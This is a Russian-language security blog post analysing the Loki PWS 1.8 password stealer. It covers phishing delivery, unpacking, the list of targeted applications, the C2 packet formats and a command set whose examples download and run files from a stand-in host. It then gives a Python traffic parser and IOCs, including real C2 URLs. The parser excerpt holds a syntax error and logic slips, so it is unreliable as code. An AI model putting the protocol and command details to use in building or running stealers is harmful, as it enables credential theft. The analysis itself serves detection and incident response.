16 сентября

Loki 1.8: досье на молодой и подающий надежды Data Stealer

Блог компании Group-IBИнформационная безопасностьIT-инфраструктураРеверс-инжинирингИсследования и прогнозы в IT


В середине июня борьба с коронавирусом в Казахстане была в самом разгаре. Встревоженные ростом числа заболевших (тогда заразился даже бывший президент Нурсултан Назарбаев), местные власти решились вновь позакрывать все торгово-развлекательные центры, сетевые магазины, рынки и базары. И в этот момент ситуацией воспользовались киберпреступники, отправившие по российским и международным компаниям вредоносную рассылку.

Опасные письма, замаскированную под обращение министра здравоохранения Республики Казахстан, перехватила система Threat Detection System (TDS) Group-IB. Во вложении письма находились документы, при запуске которых на компьютер устанавливалась вредоносная программа из семейства Loki PWS (Password Stealer), предназначенная для кражи логинов и паролей с зараженного компьютера. В дальнейшем злоумышленники могут использовать их для получения доступа к почтовым аккаунтам для финансового мошенничества, шпионажа или продать на хакерских форумах.

В этой статье Никита Карпов, аналитик CERT-GIB, рассматривает экземпляр одного из самых популярных сейчас Data Stealer’ов — Loki.

Сегодня мы рассмотрим одну из популярных версий бота — 1.8. Она активно продается, а админ панель можно найти даже в открытом доступе: здесь.

Пример админ-панели:



Loki написан на языке C++ и является одним из самых популярных ВПО, используемых для похищения пользовательской информации с зараженного компьютера. Как и бич нашего времени — вирусы-шифровальщики — Data Stealer после попадания на компьютер жертвы с очень большой скоростью выполняют поставленную задачу — ему не надо закрепляться и повышать свои привилегии в системе, он практически не оставляет времени на защиту от атаки. Поэтому в событиях с ВПО, которое похищает пользовательские данные, главную роль играет расследование инцидента.

Распаковка и получение работоспособного дампа ВПО


Распространение в большинстве случаев происходит через вложения в рассылках писем. Пользователь под видом легитимного файла загружает и открывает вложение, запуская работу ВПО.

По маркеру инжекта можно предположить о наличии Loader.


С помощью DIE получаем информацию, что исходный файл написан на VB6.


График энтропии свидетельствует о большом количестве зашифрованных данных.


При запуске первый процесс создает дочерний, совершает инжект и завершает свою работу. Второй процесс отвечает за работу ВПО. После небольшого промежутка времени останавливаем работу процесса и сохраняем дамп памяти. Чтобы подтвердить, что внутри дампа находится Loki, ищем внутри url командного центра, который в большинстве случаев оканчивается на fre.php.


Выполняем дамп фрагмента памяти, содержащего Loki, и производим корректировку PE-заголовка.

Работоспособность дампа проверим с помощью системы TDS Huntbox.


Функционал бота


В процессе исследования декомпилированного кода ВПО находим часть, содержащую четыре функции, идущие сразу после инициализации необходимых для работы библиотек. Разобрав каждую из них внутри, определяем их назначение и функциональность нашего ВПО.


Названия функций для удобства были переименованы в более информативные.
Функционал бота определяется двумя главными функциями:

  1. Data Stealer — первая функция, отвечающая за похищение данных из 101 приложения и отправку на сервер.
  2. Downloader — запрос от CnC (Command & Control) команд для исполнения.

Для удобства в таблице, приведенной ниже, представлены все приложения, из которых исследуемый экземпляр Loki пытается похитить данные.
ID функции Приложение ID функции Приложение ID функции Приложение
1 Mozilla Firefox 35 FTPInfo 69 ClassicFTP
2 Comodo IceDragon 36 LinasFTP 70 PuTTY/KiTTY
3 Apple Safari 37 FileZilla 71 Thunderbird
4 K-Meleon 38 Staff-FTP 72 Foxmail
5 SeaMonkey 39 BlazeFtp 73 Pocomail
6 Flock 40 NETFile 74 IncrediMail
7 NETGATE BlackHawk 41 GoFTP 75 Gmail notifier pro
8 Lunascape 42 ALFTP 76 Checkmail
9 Google Chrome 43 DeluxeFTP 77 WinFtp
10 Opera 44 Total Commander 78 Martin Prikryl
11 QTWeb Browser 45 FTPGetter 79 32BitFtp
12 QupZilla 46 WS_FTP 80 FTP Navigator
13 Internet Explorer 47 Mail Client configuration files 81 Mailing
(softwarenetz)
14 Opera 2 48 Full Tilt Poker 82 Opera Mail
15 Cyberfox 49 PokerStars 83 Postbox
16 Pale Moon 50 ExpanDrive 84 FossaMail
17 Waterfox 51 Steed 85 Becky!
18 Pidgin 52 FlashFXP 86 POP3
19 SuperPutty 53 NovaFTP 87 Outlook
20 FTPShell 54 NetDrive 88 Ymail2
21 NppFTP 55 Total Commander 2 89 Trojitá
22 MyFTP 56 SmartFTP 90 TrulyMail
23 FTPBox 57 FAR Manager 91 .spn Files
24 sherrod FTP 58 Bitvise 92 To-Do Desklist
25 FTP Now 59 RealVNC
TightVNC
93 Stickies
26 NexusFile 60 mSecure Wallet 94 NoteFly
27 Xftp 61 Syncovery 95 NoteZilla
28 EasyFTP 62 FreshFTP 96 Sticky Notes
29 SftpNetDrive 63 BitKinex 97 KeePass
30 AbleFTP 64 UltraFXP 98 Enpass
31 JaSFtp 65 FTP Now 2 99 My RoboForm
32 Automize 66 Vandyk SecureFX 100 1Password
33 Cyberduck 67 Odin Secure FTP Expert 101 Mikrotik WinBox
34 Fullsync 68 Fling
На этом этапе завершен статический анализ ВПО и в следующем разделе рассмотрим, как Loki общается с сервером.

Сетевое взаимодействие


Для записи сетевого взаимодействия необходимо решить две проблемы:

  1. Командный центр доступен только на момент проведения атаки.
  2. Wireshark не фиксирует коммуникации бота в loopback, поэтому нужно пользоваться другими средствами.

Самое простое решение — переадресовать адрес CnC, с которым Loki будет устанавливать коммуникацию, на localhost. Для бота сервер теперь доступен в любое время, хоть и не отвечает, но для записи коммуникаций бота это и не нужно. Для решения второй проблемы воспользуемся утилитой RawCap, которая позволяет записать в pcap необходимые нам коммуникации. Далее записанный pcap будем разбирать уже в Wireshark.


Перед каждой коммуникацией бот проверяет доступность CnC и, если он доступен — открывает socket. Все сетевые коммуникации проходят на транспортном уровне по протоколу TCP, а на прикладном используется HTTP.

В таблице ниже представлены заголовки пакета, которые стандартно использует Loki.
Поле Значение Описание
User-agent Mozilla/4.08 (Charon; Inferno) Характерный юзерагент для Loki
Accept */*
Content-Type application/octet-stream
Content-Encoding binary
Content-Key 7DE968CC Результат хеширования предыдущих заголовков (хеширование происходит кастомным алгоритмом CRC с полиномом 0xE8677835)
Connection close
Обратим внимание на body пакета:

  1. Структура записанных данных зависит от версии бота, и в более ранних версиях отсутствуют поля, которые отвечают за опции шифрования и компрессии.
  2. По типу запроса сервер определяет, как обрабатывать полученные данные. Существует 7 типов данных, которые может прочитать сервер:
    • 0x26 Похищенные данные кошельков
    • 0x27 Похищенные данные приложений
    • 0x28 Запрос команд от сервера
    • 0x29 Выгрузка похищенного файла
    • 0x2A POS
    • 0x2B Данные кейлоггера
    • 0x2C Скриншот
  3. В исследованном экземпляре присутствовали только 0x27, 0x28 и 0x2B.
  4. В каждом запросе есть общая информация о боте и зараженной системе, по которой сервер идентифицирует все отчеты по одной машине, а после идет информация, которая зависит от типа запроса.
  5. В последней версии бота реализовано только сжатие данных, а поля с шифрованием заготовлены на будущее и не обрабатываются сервером.
  6. Для сжатия данных используется открытая библиотека APLib.

При формировании запроса с похищенными данными бот выделяет буфер размером 0x1388 (5000 байт). Структура запросов 0x27 представлена в таблице ниже:
Смещение Размер Значение Описание
0x0 0x2 0x0012 Версия бота
0x2 0x2 0x0027 Тип запроса (отправка похищенных данных)
0x4 0xD ckav.ru Binary ID (также встречается значение XXXXX11111)
0x11 0x10 - Имя пользователя
0x21 0x12 - Имя компьютера
0x33 0x12 - Доменное имя компьютера
0x45 0x4 - Разрешение экрана (ширина и высота)
0x49 0x4 -
0x4D 0x2 0x0001 Флаг прав пользователя (1, если администратор)
0x4F 0x2 0x0001 Флаг идентификатора безопасности (1, если установлен)
0x51 0x2 0x0001 Флаг разрядности системы (1, если x64)
0x53 0x2 0x0006 Версия Windows (major version number)
0x55 0x2 0x0001 Версия Windows (minor version number)
0x57 0x2 0x0001 Дополнительная информация о системе (1 = VER_NT_WORKSTATION)
0x59 0x2 -
0x5B 0x2 0x0000 Отправлялись ли похищенные данные
0x5D 0x2 0x0001 Использовалось ли сжатие данных
0x5F 0x2 0x0000 Тип сжатия
0x61 0x2 0x0000 Использовалось ли шифрование данных
0x63 0x2 0x0000 Тип шифрования
0x65 0x36 - MD5 от значения регистра MachineGuid
0x9B - - Сжатые похищенные данные
Второй этап взаимодействия с сервером начинается после закрепления в системе. Бот отправляет запрос с типом 0x28, структура которого представлена ниже:

Размер буфера: 0x2BC (700 байт)
Смещение Размер Значение Описание
0x0 0x2 0x0012 Версия бота
0x2 0x2 0x0028 Тип запроса (запрос команд от командного центра)
0x4 0xD ckav.ru Binary ID (также встречается значение XXXXX11111)
0x11 0x10 - Имя пользователя
0x21 0x12 - Имя компьютера
0x33 0x12 - Доменное имя компьютера
0x45 0x4 - Разрешение экрана (ширина и высота)
0x49 0x4 -
0x4D 0x2 0x0001 Флаг прав пользователя (1, если администратор)
0x4F 0x2 0x0001 Флаг идентификатора безопасности (1, если установлен)
0x51 0x2 0x0001 Флаг разрядности системы (1, если x64)
0x53 0x2 0x0006 Версия Windows (major version number)
0x55 0x2 0x0001 Версия Windows (minor version number)
0x57 0x2 0x0001 Дополнительная информация о системе (1 = VER_NT_WORKSTATION)
0x59 0x2 0xFED0
0x5B 0x36 - MD5 от значения регистра MachineGuid
После запроса бот ожидает получить ответ от сервера, содержащий количество и сами команды. Возможные варианты команд получены с помощью статического анализа декомпилированного кода ВПО и представлены ниже.

Размер буфера: 0x10 (16 байт) + 0x10 (16 байт) за каждую команду в пакете.
HTTP- заголовок (начало данных) \r\n\r\n [0D 0A 0D 0A] 4 байта
Суммарная длина данных - - 4 байта
Количество команд 2 [00 00 00 02] 4 байта
Команда Пропускаемые байты
4 байта
Команды
4 байта
Пропускаемые байты
4 байта
Длина передаваемой строки
4 байта
Передаваемая строка
(пример)
#0
Загрузка и запуск EXE-файла
[00 00 00 00] [00 00 00 00] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.exe
#1
Загрузка библиотеки DLL
[00 00 00 00] [00 00 00 01] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.dll
#2
Загрузка EXE-файла
[00 00 00 00] [00 00 00 02] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.exe
#8
Удаление базы данных хешей (HDB file)
[00 00 00 00] [00 00 00 08] [00 00 00 00] [00 00 00 00] -
#9
Старт кейлоггера
[00 00 00 00] [00 00 00 09] [00 00 00 00] [00 00 00 00] -
#10
Похищение данных и отправка на сервер
[00 00 00 00] [00 00 00 0A] [00 00 00 00] [00 00 00 00] -
#14
Завершение работы Loki
[00 00 00 00] [00 00 00 0E] [00 00 00 00] [00 00 00 00] -
#15
Загрузка новой версии Loki и удаление старой
[00 00 00 00] [00 00 00 0F] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.exe
#16
Изменение частоты проверки ответа от сервера
[00 00 00 00] [00 00 00 10] [00 00 00 00] [00 00 00 01] 5
#17
Удалить Loki и завершить работу
[00 00 00 00] [00 00 00 11] [00 00 00 00] [00 00 00 00] -

Парсер сетевого трафика


Благодаря проведенному анализу у нас есть вся необходимая информация для парсинга сетевых взаимодействий Loki.

Парсер реализован на языке Python, на вход получает pcap-файл и в нем находит все коммуникации, принадлежащие Loki.

Для начала воспользуемся библиотекой dkpt для поиска всех TCP-пакетов. Для получения только http-пакетов поставим фильтр на используемый порт. Среди полученных http-пакетов отберем те, что содержат известные заголовки Loki, и получим коммуникации, которые необходимо распарсить, чтобы извлечь из них информацию в читаемом виде.

for ts, buf in pcap:
    eth = dpkt.ethernet.Ethernet(buf)
    if not isinstance(eth.data, dpkt.ip.IP):
        ip = dpkt.ip.IP(buf)
    else:
        ip = eth.data
 
    if isinstance(ip.data, dpkt.tcp.TCP):
        tcp = ip.data
        try:
            if tcp.dport == 80 and len(tcp.data) > 0:  # HTTP REQUEST
                if str(tcp.data).find('POST') != -1:
                    http += 1
                    httpheader = tcp.data
                    continue
                else:
                    if httpheader != "":
                        print('Request information:')
 
                        pkt = httpheader + tcp.data
                        httpheader = ""
                        if debug:
                            print(pkt)
                        req += 1
                        request = dpkt.http.Request(pkt)
                        uri = request.headers['host'] + request.uri
                        parsed_payload['Network']['Source IP'] = socket.inet_ntoa(ip.src)
                        parsed_payload['Network']['Destination IP'] = socket.inet_ntoa(ip.dst)
                        parsed_payload_same['Network']['CnC'] = uri
                        parsed_payload['Network']['HTTP Method'] = request.method
 
                        if uri.find("fre.php"):
                            print("Loki detected!")
                        pt = parseLokicontent(tcp.data, debug)
                        parsed_payload_same['Malware Artifacts/IOCs']['User-Agent String'] = request.headers['user-agent']
 
                        print(json.dumps(parsed_payload, ensure_ascii=False, sort_keys=False, indent=4))
                        parsed_payload['Network'].clear()
                        parsed_payload['Compromised Host/User Data'].clear()
                        parsed_payload['Malware Artifacts/IOCs'].clear()
                        print("----------------------")
            if tcp.sport == 80 and len(tcp.data) > 0:  # HTTP RESPONCE
                resp += 1
                if pt == 40:
                    print('Responce information:')
                    parseC2commands(tcp.data, debug)
                    print("----------------------")
                    pt = 0
        except(dpkt.dpkt.NeedData, dpkt.dpkt.UnpackError):
            continue

Во всех запросах Loki первые 4 байта отвечают за версию бота и тип запроса. По этим двум параметрам определяем, как будем обрабатывать данные.

def parseLokicontent(data, debug):
    index = 0
 
    botV = int.from_bytes(data[0:2], byteorder=sys.byteorder)
    parsed_payload_same['Malware Artifacts/IOCs']['Loki-Bot Version'] =  botV
 
    payloadtype = int.from_bytes(data[2:4], byteorder=sys.byteorder)
    index = 4
    print("Payload type: : %s" % payloadtype)
    if payloadtype == 39:
        parsed_payload['Network']['Traffic Purpose'] =  "Exfiltrate Application/Credential Data"
        parse_type27(data, debug)
    elif payloadtype == 40:
        parsed_payload['Network']['Traffic Purpose'] = "Get C2 Commands"
        parse_type28(data, debug)
    elif payloadtype == 43:
        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Keylogger Data"
        parse_type2b(lb_payload)
    elif payloadtype == 38:
        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Cryptocurrency Wallet"
    elif payloadtype == 41:
        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Files"
    elif payloadtype == 42:
        parsed_payload['Network'].['Traffic Purpose'] = "Exfiltrate POS Data"
    elif payloadtype == 44:
        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Screenshots"
 
    return payloadtype

Следующим в очереди будет разбор ответа от сервера. Для считывания только полезной информации ищем последовательность \r\n\r\n, которая определяет конец заголовков пакета и начало команд от сервера.

def parseC2commands(data, debug):
    word = 2
    dword = 4
    end = data.find(b'\r\n\r\n')
    if end != -1:
        index = end + 4
        if (str(data).find('<html>')) == -1:
            if debug:
                print(data)
            fullsize = getDWord(data, index)
            print("Body size: : %s" % fullsize)
            index += dword
            count = getDWord(data, index)
            print("Commands: : %s" % count)
            if count == 0:
                print('No commands received')
            else:
                index += dword
                for i in range(count):
                    print("Command: %s" % (i + 1))
 
                    id = getDWord(data, index)
                    print("Command ID: %s" % id)
                    index += dword
 
                    type = getDWord(data, index)
                    print("Command type: %s" % type)
                    index += dword
 
                    timelimit = getDWord(data, index)
                    print("Command timelimit: %s" % timelimit)
                    index += dword
 
                    datalen = getDWord(data, index)
                    index += dword
 
                    command_data = getString(data, index, datalen)
                    print("Command data: %s" % command_data)
                    index += datalen
        else:
            print('No commands received')
    return None

На этом заканчиваем разбор основной части алгоритма работы парсера и переходим к результату, который получаем на выходе. Вся информация выводится в json-формате.

Ниже представлены изображения результата работы парсера, полученные из коммуникаций различных ботов, с разными CnC и записанные в разных окружениях.

Request information:
Loki detected!
Payload type: 39
Decompressed data: 
{'Module': {'Mozilla Firefox'}, 'Version': {0}, 'Data': {'domain': {'https://accounts.google.com'}, 'username': {'none@gmail.com'}, 'password': {'test'}}}
{'Module': {'NppFTP'}, 'Version': {0}, 'Data': {b'<?xml version="1.0" encoding="UTF-8" ?>\r\n<NppFTP defaultCache="%CONFIGDIR%\\Cache\\%USERNAME%@%HOSTNAME%" outputShown="0" windowRatio="0.5" clearCache="0" clearCachePermanent="0">\r\n    <Profiles />\r\n</NppFTP>\r\n'}}
{
    "Network": {
        "Source IP": "-",
        "Destination IP": "185.141.27.187",
        "HTTP Method": "POST",
        "Traffic Purpose": "Exfiltrate Application/Credential Data",
        "First Transmission": true
    },
    "Compromised Host/User Data": {},
    "Malware Artifacts/IOCs": {}
}

Выше представлен пример запроса на сервер 0x27 (выгрузка данных приложений). Для тестирования были созданы аккаунты в трех приложениях: Mozilla Firefox, NppFTP и FileZilla. У Loki существует три варианта записи данных приложений:

  1. В виде SQL-базы данных (парсер сохраняет базу данных и выводит все доступные строки в ней).
  2. В открытом виде, как у Firefox в примере.
  3. В виде xml-файла, как у NppFTP и FileZilla.

Request information:
Loki detected!
Payload type: 39
No data stolen
{
    "Network": {
        "Source IP": "-",
        "Destination IP": "185.141.27.187",
        "HTTP Method": "POST",
        "Traffic Purpose": "Exfiltrate Application/Credential Data",
        "First Transmission": false
    },
    "Compromised Host/User Data": {},
    "Malware Artifacts/IOCs": {}
}

Второй запрос имеет тип 0x28 и запрашивает команды от сервера.

Responce information:
Body size: 26
Commands: 1
Command: 1
Command ID: 0
Command type: 9
Command timelimit: 0
Command data: 35

Пример ответа от CnC, который отправил в ответ одну команду на старт кейлоггера. И последующая выгрузка данных кейлоггера.

Request information:
Loki detected!
Payload type: : 43
{
    "Network": {
        "Source IP": "-",
        "Destination IP": "185.141.27.187",
        "HTTP Method": "POST",
        "Traffic Purpose": "Exfiltrate Keylogger Data"
    },
    "Compromised Host/User Data": {},
    "Malware Artifacts/IOCs": {}
}

В конце работы парсер выводит информацию, которая содержится в каждом запросе от бота (информацию о боте и о системе), и количество запросов и ответов, связанных с Loki в pcap-файле.

General information:
{
    "Network": {
        "CnC": "nganyin-my.com/chief6/five/fre.php"
    },
    "Compromised Host/User Description": {
        "User Name": "-",
        "Hostname": "-",
        "Domain Hostname": "-",
        "Screen Resolution": "1024x768",
        "Local Admin": true,
        "Built-In Admin": true,
        "64bit OS": false,
        "Operating System": "Windows 7 Workstation"
    },
    "Malware Artifacts/IOCs": {
        "Loki-Bot Version": 18,
        "Binary ID": "ckav.ru",
        "MD5 from GUID": "-",
        "User-Agent String": "Mozilla/4.08 (Charon; Inferno)"
    }
}
Requests: 3
Responces: 3 


Полный код парсера доступен по ссылке: github.com/Group-IB/LokiParser

Заключение


В этой статье мы ближе познакомились с ВПО Loki, разобрали его функционал и реализовали парсер сетевого трафика, который значительно упростит процесс анализа инцидента и поможет понять, что именно было похищено с зараженного компьютера. Хотя разработка Loki все еще продолжается, была слита только версия 1.8 (и более ранние), именно с этой версией специалисты по безопасности сталкиваются каждый день.

В следующей статье мы разберем еще один популярный Data Stealer, Pony, и сравним эти ВПО.

Indicator of Compromise (IOCs):


Urls:

  • nganyin-my.com/chief6/five/fre.php
  • wardia.com.pe/wp-includes/texts/five/fre.php
  • broken2.cf/Work2/fre.php
  • 185.141.27.187/danielsden/ver.php
  • MD5 hash: B0C33B1EF30110C424BABD66126017E5
  • User-Agent String: «Mozilla/4.08 (Charon; Inferno)»
  • Binary ID: «ckav.ru»
Теги:malwareвредоносВПОвредоносное ПОstealerстилервредоносное программное обеспечениеанализ кодаанализ вирусованализ вредоносованализ вредоносного по
Хабы: Блог компании Group-IB Информационная безопасность IT-инфраструктура Реверс-инжиниринг Исследования и прогнозы в IT
0
1,5k 14
Комментировать
Лучшие публикации за сутки